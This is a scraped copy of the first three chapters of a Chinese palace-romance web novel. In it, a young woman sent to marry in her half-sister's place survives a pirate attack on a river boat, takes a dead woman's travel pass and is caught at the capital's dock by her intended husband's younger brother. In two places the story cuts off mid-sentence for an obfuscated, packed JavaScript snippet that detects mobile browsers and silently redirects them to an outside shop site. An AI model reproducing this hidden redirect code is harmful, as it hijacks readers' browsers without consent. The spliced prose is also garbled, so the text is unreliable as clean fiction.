《被未婚夫他弟强取豪夺后》 1. 第 1 章 春寒还胜。 夜里，船身破开江面，“哗——轰——”，一如这两旬一般，平稳向京城驶去。 马吊噼里啪啦乱滚，发酒疯的、吟诗作对的、打架的、和船娘寻欢的……纷纷攘攘地刺耳朵。 姚黛蝉在上房躺了半晌，到底受不住底下那些新上船的客人，她起身，趿鞋坐入窗下。江风湿濡，覆在面上腻得慌。刚将窗户下了一半，还未看清底下一道黑影，张妈妈沉甸甸的身子便带着怒气罩过来。 “小姐！” 张妈妈腮发着颤，大手“哐当”将窗户摁死，没好气道：“明日过了临清，大后日便到京城！好日子在前，你可切要安分些！莫要再想那些不该想的！” 她说的不该想的，自然是指在姚家企图逃婚的那次。 为了不被送走，姚黛蝉平生第一次跪求看守丫鬟。才逃出一里路便被张妈妈领人抓回，关在祠堂三个日夜不曾进米水。 姚黛蝉一双红唇抿着，不应不答。 “成日板脸给谁瞧？”张妈妈鼻中哼声浊气，“崔大爷是有些风流名声，可那侯府高门大户，累世皇恩，还有位厉害的二爷在御前走动，不比你蜗居的破院强？” 张妈妈端详她清艳妍丽的脸，“你这番颜色，将来是有好造化的，一天到晚要死不活，顶什么用？” 姚黛蝉背身。 张妈妈那套陈词滥调，无非便是她命好，她娘只是个举人的女儿，这回却能顶了姚惜翎的身份，风风光光做侯府的媳妇。 然她这趟替嫁的对象，侯府大爷崔云筏风流无才，只在都督府领个闲职，京中名声与淫.魔无异，十七岁起至今相看不到一户对门的人家，连五品京官都避之不及，是京畿有名的笑话。 那所谓的二爷崔云柯听说是有些本事，十七中探花，清高自洁，还刚升任了少詹事，但又和她有什么关系。 十二岁被姚家强行捉回后，她便像一件见不得光的旧物，在那方小院一锁就是四年，连祭拜母亲的牌位都得偷偷摸摸。 为了替姚惜翎顶包，他们才又想起她来了。 玉白双足探进褥子，她重又盯视顶板。 侯府派的这艘船非官船，而是临时租用的老商船。顶板上的朱漆花得不成样，常睡着睡着便有碎屑震下。 张妈妈说，姚家曾有一位曾姑母嫁入永靖侯府做续弦，与老侯爷有些母子情。老侯爷待她尊敬。后来太和之乱，武官势弱，姚家也受牵连放出京城，两家断了来往。侯府的意思，这桩婚事是为了缔结旧日情谊。 可这举动又哪里有旧情可言。 姚黛蝉烦闷闭目，下头的喧闹不绝于耳，夹杂着女子呼声，有愈演愈烈的趋势。 商船鱼龙混杂，但如今日这几个富商般一来就召船娘赌钱的，却少有。 她猜想，许是因为下一站是临清。 幼时曾听舅舅提过。这处码头介于黑白之间，称得上是北地繁华之最。各阶层的人来来去去，一如这船。 能在临清下也不错。 可姚家重金雇了两个身高力壮的打手日日守着。张妈妈则每每出去，必定要用钥匙锁门。 在船上二十日，莫说下甲板逛逛，便是踏出这间房都不曾有过。 她不知第几次想起江游来。 江游是北方迁来的邻里，操一口字正腔圆的官话。他长她四岁，并非表哥那样的温润书生，反而个高腿长。他带她摸鱼打鸟、上树掏窝，谁欺负她，他便攥拳替她出头，打遍镇上所有孩童……也是江游，帮她打折了觊觎她良久的纨绔王振昌。 可那日后他便不见了。 一直到被强行抓回姚家，她都未曾再发现他的踪迹。 若江游在，绝对会拦下马车，更不会有现在这些事。 也不知，他可好。 凝愁间，床榻大幅度地一摆，姚黛蝉被迫贴上墙面，将将要挪开，却忽而一顿。 夜风携一股刺鼻的气息渗入窗缝，漫过口鼻。 她记得这个味道，从前江游带她炸蚁窝，是硝石。 她猛然坐直身体，悄然行向窗边，塞一指入窗柩。 外头景象直将她看怔住。 数根火把被遥遥掷入甲板，反光铁钩飞来，甲板上俄而多了几十名黑衣人。他们齐刷刷抽刀，银芒扎地姚黛蝉眼一酸，匆匆别开视线。 有大事要发生！ 姚黛蝉看眼还躺着的张妈妈，蓦而将发扎好，贴紧墙根，静静捕捉门外每一丝声响。 不一会，刺耳尖叫声划破夜幕。 来了！ 她心跳如擂鼓，抓起案上铜香炉便朝张妈妈冲去。 张妈妈已醒了七分，听见逼近的脚步声，眼皮猛地一弹，发出凄厉尖叫：“小姐丧尽天良，要对我这老婆子下毒手啊！” 肥厚手掌狠狠挥来，姚黛蝉一惊，香炉险些脱手。张妈妈已狰狞着扑下榻，夺了香炉就是一掷，双手铁钳般箍住她纤细脖颈。 “你这黑心肝的东西！枉当年我亲自去昭文接你，你却要我的命！” 她朝外嘶吼：“张大王四！拿麻绳来！” 姚黛蝉挣扎不得，眼神渐渐涣散。张妈妈见她这般，心头一骇，双腿死死压住她，腾只手重重在她身上锤几下，“我好生教教你如何做人！” 空气重新涌入肺腑，姚黛蝉大口喘息着，被张妈妈从地上拽起。正这时，楼下爆出骇人哭嚎。张妈妈一怔，终于察觉异样。 再看姚黛蝉，少女泛红的脸上竟浮抹讥诮。张妈妈顿时慌了：“张大王四！人呢！” 无人应答，唯有门上的铜锁不时晃荡。姚黛蝉猛低头一咬张妈妈手腕，趁她吃痛松手的刹那，腰侧抽出根烛台，照着脑袋便是一记—— “天杀的！” 张妈妈踉跄几步，还未抚上剧痛的额角，烛台又补一记。 她眼一翻，彻底昏死。 姚黛蝉吐口气，刚要起身，“轰——” 房门被一脚踹开，浓重的血腥气扑面而来， 才堪堪直腰，“铛”一声，一柄长刀争鸣着架上她颈侧。 姚黛蝉面色登时煞白，屏住呼吸。 刀刃冰寒，温热的血珠顺着刀锋滑落，蜿蜒没入她后颈。 她不受控地一抖。 “不在这儿！”蒙面人屋内扫视一圈，刀尖直指二人厉声喝问：“可看见一个商贾打扮，身型高阔的青年男子！” 姚黛蝉缓缓抬脸，迎着他嗜血的视线，蓦地想起先前窗外见过的模糊黑影，随手往窗子一指： “看见了，正从甲板上跑过。” 那几人对视一眼，竟无视她，纵身跃窗追去。 不杀她？ 姚黛蝉劫后余生，却不敢有片刻喘息，扯下帐子便开始绑人，抖着手将张妈妈拖入榻底。 包袱翻了底朝天，仅几两银锭，两封路引。 姚黛蝉目光定在上头一息，用力将张妈妈那封撕得粉碎。 又打开那四个从未动过的陪嫁箱子，里头除了几匹吴绫，一些不好出手的瓷器，连一个铜板也无。 她咬牙合箱，躲入衣柜。樟木香气混着血腥，越发浓郁。姚黛蝉更用力地捂住嘴，慢慢数数，一直到了七百，船上才重新响起人声。 她恍惚了须臾，打开柜门，将将擦去身上血渍出门，鞋底一黏。 廊边堆了两具流干了血的尸身。 是不见的张大王四。 血气混着江水腥风，直直钻入肺腑，姚黛蝉胃底一抽，急忙挪眼。 天幕灰白。 甲板上聚集了百余名幸存的乘客，正气愤地同伙计吵架。 “今年都几十起了，照这般下去，往后我们还要不要做生意了？” 船上伙计安抚不过来，无奈摊手：“咱们就是个商船，谁知会遇上这些水阎王？已去报官了，诸位散了吧！” 有人怒道：“光报官顶什么用？一纸文书能挣回几条人命？！” “官府光会搪塞。”另一人接话：“还得看德安贼寨，被那位新升任的崔少詹事带人一剿，灰飞烟灭！这事儿还得那位一般的才能办…” 姚黛蝉心下稍定，那群蒙面人果然是水匪。 时下匪贼猖獗，舅舅在外行商也遇过几次，倒不怪。 目光篦过波光粼粼的江面，姚黛蝉隐出人群，避开洒扫的伙计，第一次行入船尾。 船上许多焦黑血水还未有人处理，夜中随意一指的方向似乎就在附近，周遭并无尸身。 姚黛蝉便打算离开，却骤然在将军柱边停住。 她低眼，鞋履挪动，一抹未干涸的血痕随之拉长。 柱下翘一根年久失修的船板。姚黛蝉近几步，眼尖地窥见底下卡住的黑靴。她稍顿，鞋尖轻拨开一角，其下咕咚滚出串碎散的玉珠，并十余颗闪闪发光的银锭，下压张纸。 边角被血污浸染，墨迹与官印红泥洇开，但关键姓名、籍贯、官府钤印仍可勉强辨认。 显然，路引的主人已遭不测。 姚黛蝉红唇紧抿。 蓦地，她身子一晃，软软倒地，手顺势拂过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058056|194916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那处。 再起身，唯余黑靴安静躺着。 人心惶惶一夜，终于在天色泛白时抵达临清。 船板上挤满焦躁不安的乘客，姚黛蝉戴着来时的冪篱隐于人潮，耐着性子等待。 一去小半时辰，伙计突然从码头折返，“回去吧，京城下！” “怎生就回去了！” “好事儿！”伙计露出笑脸，“临清官衙正巧另有案子要办，听闻我们遭难，干脆往上报了！” 姚黛蝉瞳仁一颤，身侧乘客急道：“可我就是要在临清下，入了京不得耗好些天！” “再折返便是。” 船板上忽而分一条道。一鸂鶒补子官服的男子按刀行来，目如鹰隼，顷刻便让众人噤声。 “本官乃临清州巡检，刘兴。”他朗声，“此案已由州衙并上报京中。现封船查验路引，一应人等皆不得下船，尔等依次前来！” “……”姚黛蝉捏着包袱，下唇咬得泛白。到底还是排队，将那张隐约能分辨出“扬州府，柳芸儿，乐籍”的路引双手奉上。 刘兴捏在手中看了看，目光扫过她冪篱下若隐若现的轮廓，又觑她纤细的手： “乐籍？为何入京，昨夜人在何处？” “…扬州营生不易，民女认识一位京城乐坊的管事妈妈，欲投奔求口饭吃。为了省钱不曾订房，只在甲板凑合。却不想第一夜就遇上匪贼。” 女子声如莺啼，官话含两分吴侬软腔，叫人不自觉放软态度。 “扬州乐坊名？” “听香坊。” “这血怎么回事？”刘兴又看她身后，“何不见你随身乐器？” 姚黛蝉早有准备：“路引一直贴身放在怀中。昨日听见动静逃窜，不慎丢落。琴替我挡了一刀…也落了江。” 刘兴不语片时，递还路引，“下一个。” 姚黛蝉才松口气。 乐籍有些麻烦，但好歹比官家小姐方便。不知‘柳芸儿’是谁，却多谢她。 至于衣柜里的张妈妈，姚黛蝉此刻简直要感谢侯府的轻慢。 船上人流频繁，人数统计总有错漏。张妈妈没了路引，大可以说为失踪。 如此细想，其实入京也未尝不可，姚家的手可伸不到这。 姚黛蝉攥着路引，险些要笑出来。 翌日，刘兴折返临清。众人被江风吹得又饿又乏，不少订了房的便将就回客房过夜，白日里则在甲板扎堆，靠闲话消磨最后的航程。 离到岸还有半日，姚黛蝉心情不错地啃炊饼。 边上几个乘客正抱怨京中物价，一妇人插嘴道：“贵有贵的活法！俺闺女在永靖侯府帮佣，上月托信说，从大爷厨房调到二爷院外洒扫了，那可是个好去处！” 旁人好奇：“都是爷，有什么不同？” 妇人撇嘴：“不同地很呢！” “那大爷房里姬妾比丫鬟还多！外头还养着……啧啧，侯夫人没法子，舍脸去南边寻亲事了！” “竟如此不堪？那侯府将来……” “所以啊，侯府将来定是二爷的天下！人可是文曲星下凡！还升了少詹事…” 又是永靖侯府。 姚黛蝉不想听，径直走远。 摸摸包袱，捡来的珠宝和银锭，总计越五十两银子。听说京城挥金如土，也不知能维持多久。姚黛蝉打量自己的手，琴她不会，握笔捏针倒是可以。 若在京城卖绣品…… 罢，她摇头，想这些太早。 又是漫长的两个时辰，船帆收动，远远见白雾中高阔的码头，众人都激动站起。 姚黛蝉在最后，望着码头上形形色色的人影，唇瓣由心地牵一抹弧度。 “下咯！”一声高喝，船板轰然搭上青石阶。 终于可以离开了！ 第一次踏足这片陌生的土地，姚黛蝉将四周打量一遍，便欲从早就瞄准的右拐口离去。 方抬脚—— “嫂嫂。” 一道击玉似的男声忽而泠然奏响，岸上走卒似被无形的力驱赶，做鸟兽散。 分明不是唤她，姚黛蝉却莫名一楞，未及展开的笑容陡然僵住。 一双纤尘不染的皂靴稳稳踏着浑浊石板闯入眼帘。向上，素白袍角上的暗纹经日头一照，恍惚折射出利刃般的冷芒。 姚黛蝉心跳骤停。 岸上，青年长身玉立，仿佛凝了岭尖薄雪的眸沉沉盯她。 “兄长遇事，我来迎婚，嫂嫂——” “何去？” 2. 第 2 章 江风狂舞，连片卷飞幂篱。 崔云柯长睫垂覆，居高临下投去视线。 姚黛蝉面色煞白，被那阵妖风逼着，将来人看得清清楚楚。 直鼻凤眸，唇薄而淡，俊美地近乎昳丽。身量颀长如竹。袍角微扬时勾勒出笔直腿线。分明是芝兰玉树相，却通身缭绕着久居高位的疏离，所有嘈杂在他身畔自发沉静。 他便是频频在船客口中听到的新任少詹事，永靖侯府崔二爷，崔云柯。 也是他，方才唤她“嫂嫂”。 待那双眼将她脸上每一寸惊惶都审视殆尽，她才如大梦初醒，仓皇扯落白纱，转身欲逃。 脚步未动，那道泠然嗓音已自身后追来，不高，却压下一切江风人语： “姚小姐。” 他略顿，像在细品这个新称呼是否合适。 “临清州衙的公文今晨已送至我案头。遇难者名录里正有姚惜翎，却未想，小姐平安入京。” “当真万幸。” 姚黛蝉浑身血液瞬间凉透。 “姚小姐，侯府上下都等着您呢！” 崔禄前几步，抖抖袖，笑同姚黛蝉做个请的手势。本空旷了的码头瞬时围来数个家丁打扮的男子。马夫驾车驶近，车尾挂着的“永靖”二字木牌惹眼地晃荡。 姚黛蝉咽一口唾沫，不禁再向崔云柯投去目光——那人已背身，只留一道无情的长影。 晨光打在他云母白的圆领袍上，极清净的颜色，却一瞬有肃杀映射，刺得人眼周生疼。 见她还定着不肯动，崔禄弯着眼儿往马车方向一指，“小姐？” 姚黛蝉死死抓着包袱皮，半晌方将喉头翻涌的血气压下，重重踩上马凳。 …… “还未同您介绍，我是自小贴身伺候二爷的崔禄，您唤我福寿就成。”车中熏有浅淡的檀香，崔禄坐在前头，声音时不时被风裹着往后钻。 “不瞒您说，我家二爷昨儿深夜才从德安赶回，今晨还未来得及回侯府，听您出事，立即便派人在各个码头守着，生怕您有半点闪失。” “随身妈妈都失了踪，姚小姐却能毫发无伤，着实令人钦佩啊。” 崔禄笑声爽朗，语气和善，把姚黛蝉听得背脊冰凉。 这主仆二人特意堵在这，是发现了什么？ 她失踪顶的是姚惜翎的名，受审下船用的是柳芸儿路引，又不曾显露过相貌，为何这个崔二爷这般咬定？ “苏州府一向太平，姚小姐出发得早，许是没听说。” 崔禄叩动车壁，语气意味深长。 “德安附近闹了伙贼，二爷坐镇月余，剿了九成，却逃了一伙人往苏扬去了。您商船遇的多半就是这些余孽。” 随二爷返德安的这月，崔禄几乎没睡过一个好觉。那些装作匪寇兴风作浪的乱党虽被屠尽，却跑了几个重要人物。好在二爷早有准备，设暗探假冒乐伎截杀。不想，伪造的户籍却到了这姚家女手里。 新帝初立，朝中暗流涌动，地方多有反应。与前太子勾结的白莲教正是乱党根基，二爷一举稳定局势，却突兀杀出这么个意外，连休息的功夫也舍了。这时入宫上禀，少不得又得小半日。 姚黛蝉不明崔禄之意，出于警惕，闭口不言。 崔禄瞥眼车中少女，女孩儿容颜隐在白纱下，十指在他转头时微不可察一蜷。 这样子，可真看不出是个敢冒用血路引的包天大胆。 若非是办事牢靠的刘兴在，换了旁人或许真要被她骗了去。 崔禄转头，笑容如常地换了个话题，好心地扯京中风貌与她听。 姚黛蝉依旧只听，不语。偶尔透过半卷的车窗向外看。 那道云母白的长影早不知去了何处。 她捉紧褶子裙。 - 晨雾弥散，永靖侯府到了。 崔禄跳下车，姚黛蝉隔窗看他笑款款拱手，绷着脸起身。 朱漆大门大敞，两侧几人高的石狮子威风凛凛瞪人。 姚黛蝉睇着狮子的铜铃大眼，怅然长叹。 府邸极大，亭台楼阁透着百年世家的底蕴，她跟着门房穿过一道道门廊，一路所遇仆从皆低头疾走，无人敢多看一眼，连空气都凝着股沉沉的压抑。 姚黛蝉在花厅等了许久，才姗姗来来个柿红对襟长衫的女子。一见她，登时堆起笑： “这便是苏州知府家的姚娘子罢！我是夫人身边伺候的素灵。娘子怎生只身一个？身边侍奉的呢！” 看来侯府还不知商船遇难一事。 姚黛蝉简略概括一番，说不巧出事。素灵也并不真的在意，将人请进月洞门。姚黛蝉本以为要去见侯夫人，却见这侍女越走越偏，不像是主院的方向。 姚黛蝉迟疑，素灵已推开一处院门，“夫人早为您备下礼香苑，日也念叨夜也念叨。偏生这两日闹了头疾，不得亲自来见，娘子先等等。” 一股浓烈刺鼻的漆味混着尘封的霉气轰然冲出。院内杂乱，最扎眼的是廊下赫然晾晒着套颜色艳俗的妇人衣裙。 姚黛蝉目光定住。 素灵却爽朗拍腿道：“定是那起子懒婢没收拾干净！这是从前一位暂住过的娘子留下的，这就叫人扔了！” 姚黛蝉收回视线，看向素灵，忽然极淡地笑了一下： “有劳姐姐费心。我舟车劳顿，仪容不整，正好借此机会修整片刻，再去拜见夫人。” 她态度平静，甚至称得上客气，反倒让预备应对质问的素灵意外。 同先前打听到的不大一样。 “娘子不怪罪就好。”素灵利索接了这台阶，朝角落里招手，“朝露，你在此伺候娘子！” 来的却不是早吩咐好的朝露，而是个十一二岁的小丫鬟芬儿。 不待素灵发话，芬儿顶着亮闪闪的金簪朝她咧嘴:“朝露姐姐吃坏了肚子，叫我来替她。“ 素灵一看她头上簪子，便知道是朝露那丫头花钱哄芬儿来当差。 阖府都看不上姚家，朝露虽是夫人点来礼香苑的，却心不甘情不愿。也真是皮厚了，她在这都敢敷衍。 不过如此也好，省得闹腾。瞥眼芬儿，素灵笑：“娘子，这是芬儿。芬儿，好生照看娘子。” 芬儿点头，姚黛蝉一旁也看明白了，却只颔首，“多谢姐姐。” 素灵便抬脚，将将要离开时，她习以为常回头再看眼——少女已踏入昏暗的堂屋，抬手摘下幂篱，一缕天光恰巧照亮她纤巧的下颌。 门一闭，那腻白的下颌被关在了里头。 素灵步伐莫名一缓。 芬儿摸着簪子，喜滋滋跳进院子，还没站稳，嘴倒先张大。 正房窗下坐了个婷婷袅袅的美人。 鹅蛋脸，凝脂肤，最夺目的是那双内勾外翘的杏眼，见她来了，清凌凌一抬，仿佛江南三月烟雨笼罩的深潭。眼尾天然一抹微红，不媚而艳。 只这么静静坐着，周身却似有隔绝这陋室沉郁之气的水润清韵。 芬儿看傻了眼，直至姚黛蝉起身倒茶，才反应过来，“姚，姚娘子，我来！” 说罢跳进门，抢了茶壶献宝似的倒了一盏呈过去。 姚黛蝉看着她亮晶晶的圆眼，微不自在地谢过，捧盏慢慢饮尽。 喝茶的时候，芬儿也没规矩地盯着人看。姚黛蝉不由蹙眉，却闻芬儿小声道： “娘子真美。” 姚黛蝉长睫一抖，牵抹浅淡地几乎看不出的笑。 她知道自己的容貌。 正因这张脸，才会在招了王正昌那纨绔觊觎，闹到了姚家，害她被抓回。 也是这张脸，回姚府第一日，便被姚惜翎姚惜翰掷雪球砸肿。 怀璧无罪，可姚黛蝉还是习惯出门掩面，并不想被过多关注。 看姚黛蝉不欲再饮，芬儿麻溜接过杯子，脱口道：“娘子比揽芳阁的姐姐还好看，这院子可不够配您！” 姚黛蝉进来就看了圈，发现院子是老旧，但布局得当，也有人打理。院角开几株月季，墙根爬有青苔，添了点活气。 她在姚府住得还不如这里。 她笑笑，眸子微动，不放过一丝信息：“揽芳阁…？” “呃……”芬儿圆眼一鼓，明白自己无意中说错话了，姚黛蝉却轻言细语追问，“芬儿，府里的事你都清楚？” “自然！”美人温温柔柔，芬儿着实不大抵得住。又见她忧心忡忡，不免怜香惜玉，“娘子忘了？我打头就说了，我娘从前可是老夫人跟前伺候的！” 姚黛蝉感激地点点头，“我初来乍到，府中的人…你能和我说说吗？” “这，”芬儿眼珠一转，讪讪：“也没什么…” 芬儿是老夫人旧仆之女，自然知晓侯府内情。她年纪小，却也懂得避讳，即便姚黛蝉温言套话，也只含糊拣了几个无关痛痒的说，关于大爷崔云筏的风流轶事几乎一句不言。关于二爷崔云柯的更是只有零星几句。 姚黛蝉只得结合之前的见闻，将众人的信息大致拼凑个概貌。 侯府人丁稀薄，当今的侯爷在外戍边，膝下只二子二女。侯夫人何氏是镇国公府的嫡女，闺阁里养大，与马背上闯荡的老侯爷老夫人素来不睦。 大爷崔云筏和之前所闻一模一样，或许更没出息些。 那截她去路的二爷崔云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058057|194916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柯与崔云筏并非同母，而是由平妻薛氏所生。薛氏父亲是曾经桃李满天下的大儒薛平林，崔云柯承外祖的大儒血脉，十七中探花，为侯府大振一回荣光。后还自请外放体民生之艰辛。天下文人无不赞他志洁行芳，是君子也。 而今新帝即位，他一跃做了天子近臣，是何氏的心腹大患。 姚黛蝉心头坠沉。此地不说龙潭，也算虎穴。 崔云柯这般本事，将来娶的妻室定是门第显赫的大家千金。何氏出自镇国公府这等老勋贵之家，自己的嫡长子却只能娶一个知府之女，她如何能咽下这口气? 值此，姚黛蝉禁不住低叹。 若非实在找不到合适的对象，侯府也不会想起他们。 是才派商船来接，又让她住进犄角旮旯，出口门不当户不对的恶气。 观姚黛蝉蹙着眉不松，芬儿不由得安慰道： “娘子可是正妻，将来日子好着呢！” 姚黛蝉苦笑。 她才不要这样的日子。 六岁母亲去后，外祖教她识文断字，舅舅供她吃穿无忧，表哥对她无微不至，最疼她的还是江游——她最好，也唯一的朋友。 昭文藏着所有的美好记忆。 她是一定要回去的。 窗棂外恰好传来一声模糊的鸟鸣，尖细地划破院中宁静。 清风徐来，姚黛蝉一凛，鬼使神差地，那声古怪冷然的“嫂嫂”好似重新在耳畔念响。 她猛然回神，定睛一看，眼前四四方方的牢笼，又哪里是昭文的青山绿水。 姚黛蝉揉揉太阳穴。 不过一面之缘，那崔云柯便搅乱她所有计划，这等心思深沉的人，到底为何盯着她不放？ 那崔禄一直旁敲侧击德安贼患与商船水匪，水匪… 她只能想到包袱里的路引钱财，可那不过是她恰巧捡来的。 还能与她有什么关联？ 姚黛蝉抽帕子压了压额角。 初春的京畿正午很有些热度，她这颗心几次跌宕，身后额间都出了一层汗。横竖入翁，一时半刻也逃不得。此时只想先弄干净身子再说。 院中有井，她自己打了两盆。 井水微凉，泼在面上瞬间驱散了燥热。姚黛蝉望着水中自己的倒影，又想起昭文的小溪来。 这样的天气，江游定会偷摸领她去溪边摸鱼。 阳光洒在水面，碎成一片金箔，他们将裤脚卷的高高，把金箔踩成粉芥。什么都不用想，只顾撒欢就成。 姚黛蝉缄默片刻，不敢再去回忆往事，擦干净脸，她将上衣解开。 腰侧有两处紫红，是张妈妈锤的，不算太重，半月就能消。 擦到胸前时，指尖无意间触到一片闷胀，她脸颊微热，慌忙收回手。 这缠了半年的旧疾，上船后梳洗不便，又怕张妈妈察觉多嘴，便一直忍着，竟在颠簸航程中悄悄缓了些，不似从前那般一直硬疼。 洗漱完，姚黛蝉调整心态，先睡了觉。到了晚上，被芬儿叫醒吃了顿简略的饭。四个菜，比她在姚家时吃的好。虽然不忘秉持礼仪，但实在是太饿，姚黛蝉又多盛了一碗米，撑的肚子发胀。随后便昏昏躺进床。 一连两天。侯夫人都不曾召见。和姚黛蝉猜想的不错，侯夫人是不想看见她。 这几天休息，身体略好转，姚黛蝉也不急，在礼香苑附近小小摸索了番。然而第三日晌午，姚黛蝉正洗浴，突闻素灵隔门道：“娘子，夫人有请。” 姚黛蝉顿住，“这时?” 为何突然这么急？ “是，夫人头疾好些了，念您初来，想见见您。” 姚黛蝉心一跳。她看着自己白光光的两条腿，定定神，扬声应道：“姐姐稍候片刻，容我更衣。” 素灵板脸侯着。 本到了午睡的功夫，素灵已经歇下了，孰料素心突然着急慌忙来报，道二爷的小厮崔禄领着一堆书箱回玉磬院，分明是长住的架势。夫人急得血燕都吃不下，临时改了主意，慌忙叫这姚家女去充挡箭牌。 否则，她怎会闲着没事跑这犄角第二趟？ 正心烦往后的鸡飞狗跳，“吱呀”一声，门开了。 日光斜斜切进来，落在姚黛蝉身上，终于让素灵看个彻底——半旧的藕荷色衣裙，犹湿濡的发松松挽了个简单的髻。朱唇贝齿，并无妆点，亦清艳摄人。抬脚间，长裙隐约透出纤长的轮廓。 “请姐姐带路。” 素灵暗吸一口气，这般颜色，这般性子…竟是与传闻截然不同。 入了府，也不知是福是祸。 她压下心中异样，转身，“娘子随我来。” 3. 第 3 章 姚黛蝉跟在素灵身后，于曲径回廊间七拐八绕。素灵仍时不时提点两句景致典故，话却稀落了许多，透着股心不在焉的焦灼。 行至一处花木掩映的窄园，素灵忽地刹住脚步，“啧”一声，恼道：“哪个没眼色的，将太湖石堵在这儿了！” 前方小径被一辆板车横断，车上垒几块尚未安置的太湖石。这园子本就僻窄，素灵原是为了抄近道，此刻却成了死胡同。 “怎会这时运石。”素灵皱眉，“姚娘子，只得绕路了，怕要多走一盏茶的功夫。” 姚黛蝉自然不能说什么，依言换路，将周遭景致更仔细地收入眼底。 绕出窄园，视野豁然开朗，竟到了一处清幽所在。一带粉墙环抱，墙外遍植翠竹，与府中富丽迥异，别有一种孤直。 粉墙高悬一匾额，题三个笔力遒劲，锋芒内敛的大字——玉磬院。 院外一个十五六岁的婢女正坐着吃饼，听见脚步声，忙跳起：“禄爷，我我没偷懒，就是崴了脚，书都收拾好了——灵姐姐？” 待看清是素灵，小丫鬟松了口气，脸上泛起尴尬的红晕。 素灵扫过洒扫一新的庭院，脸色骤淡，只几不可闻地“嗯”了一声，领着姚黛蝉前行。 将擦过院门时，姚黛蝉方悄然往那处望了眼。 恰有一阵风袭，竹涛声漫，隐合玉磬。一丝极淡的檀香似有还无逸入鼻中。匾额被晃动的竹枝一衬，生出格外寒冽的风骨来。 她目光只驻留了一息，便像被烫到似的迅速收回。 穿过几重愈发轩丽的庭院，姚黛蝉能感受到数道目光从廊柱窗扉后隐秘地投来。脚步微缓，主院抵达。 正房帘栊低垂，里头传出断续话声与瓷器碰响，氛围却不见半分闲适，反酝着山雨欲来的前兆。 素灵隔帘子禀报：“夫人，姚娘子到了。” 里头停了片刻，才传出一道烦郁的女声：“进来吧。” 这便是她的“未来婆母”了。 姚黛蝉胸脯深深起伏，低头步入。 浓郁的百合甜香扑面，险些叫姚黛蝉呼吸不上来。 屋内陈设富贵华丽，何氏斜倚在临窗的贵妃榻上，一身绛紫缠枝牡丹纹的常服，云髻高绾，插支赤金点翠簪。保养得宜的面容看不出病色，只眉眼间聚着股毫不掩饰的锐利。 她手中漫不经心地把玩着一柄羊脂白玉如意，目光却如冷电般落在姚黛蝉脸上。修剪得体的两弯眉果然一皱，视线立即将她从头到脚脚刮过。 榻边小杌上坐着个穿水绿比甲的少女，正为何氏轻轻捶腿，此时也抬眼望来，眼中闪过毫不掩饰的惊艳，遂又怕被斥责似的垂脸。 “抬起头来。”何氏淡淡道。 姚黛蝉依言微微抬首，目光仍恭敬地垂视下方，由暖阳毫无保留地照亮她一张脸。 何氏捏紧了玉如意，眼底闪过冷意。 她扯扯嘴角：“是个齐整孩子。走近些，让我仔细瞧瞧。” 姚黛蝉依言上前，在离榻约五步远处停下。 这下何氏看得分分明明。 那身半旧短袄裙掩不住窈窕身段，即便低眉顺目也压不住清艳光彩。 哪里是之前打听到的寻常标致，分明是能惹祸的根苗！ 自己那不成器的儿子见了还不得被迷得找不着北？ 何氏盯着那张脸，忽地想起府里老人闲聊时提过的旧事…那位继室太夫人也是姚家的，过门后便把中馈捏得死紧。 何氏无奈认下这婚事，本存着小门户好管教的心思，没想姚家扯谎送这么个人来，是想彻底拿捏住骄儿，好将来学她那曾姑母把持侯府？ “我也是方才听说，你路上遭了难，只身一人入京？”何氏的语气依旧平淡，却已具压迫。 “是。”姚黛蝉低声，“托赖天恩，侥幸生还。只是随行妈妈与行李……皆失落了。” 姚黛蝉忌惮崔云柯，怕说多错多。然这时候也只能扯谎，顺便解释她一身旧衣的缘由。 然不过是遇难了一艘船而已，于京城的贵人们什么都不是。 “可怜见。”何氏也只客套叹一声，“这些贼寇越发猖獗，那船也是，竟没个提前放哨的。” 她话锋一转，带几分自矜：“几个水匪罢了。往后你见了大爷，就知这些不过他一刀的事。” 姚黛蝉经她这一说，才想起一直没听过替嫁对象的踪迹，不由慢声： “大爷…也去剿匪了？” 她记得那崔云柯亲口说兄长遇事。崔云筏在都督府任职，似乎也有机会赴外执行任务。 何氏面色微变，语气含糊地岔开：“他有他的职务要做，这些待你进门了再说。” 姚黛蝉便不再问，心头却有了计较。 这位大爷的差事想来并不如何，人恐也不在侯府。 她语气依旧恭顺：“敢问夫人，不知婚期何时？我也好回信家中，让他们快些重新运来陪嫁，免得辜负了侯府与姚家的情谊，失了礼数。” 何氏没好气地打量眼前少女，不满她急于定论，却又满意她还算懂规矩。骄儿二十有六，姬妾成群却无子嗣，她早就等不及了。虽不喜这姚家女，可又哪里有更好的选择？ 她不禁又叹，“你是好孩子。就在下月初三，吉日。嫁妆不急，侯府暂先充份也无妨。” “下月初三。”姚黛蝉心中默念一遍，心头冰凉。 竟不足一月！ 她强按下喉头的窒闷，努力让声音听起来乖巧：“惜翎记下了，定早日禀明家中。” “既来了，便安分些。缺什么报上来便是。”何氏目光扫过她空荡荡的手腕，语气缓了缓，却不减掌控之意，“侯府有侯府的规矩，与你苏州家中不同。回头让嬷嬷去好好教你，也免得日后出丑。” 何氏也并非刻意刁难。他们早打听详尽，姚惜翎在苏州府不算守矩之人，如今瞧着虽沉静，可谁知道是不是装的？ 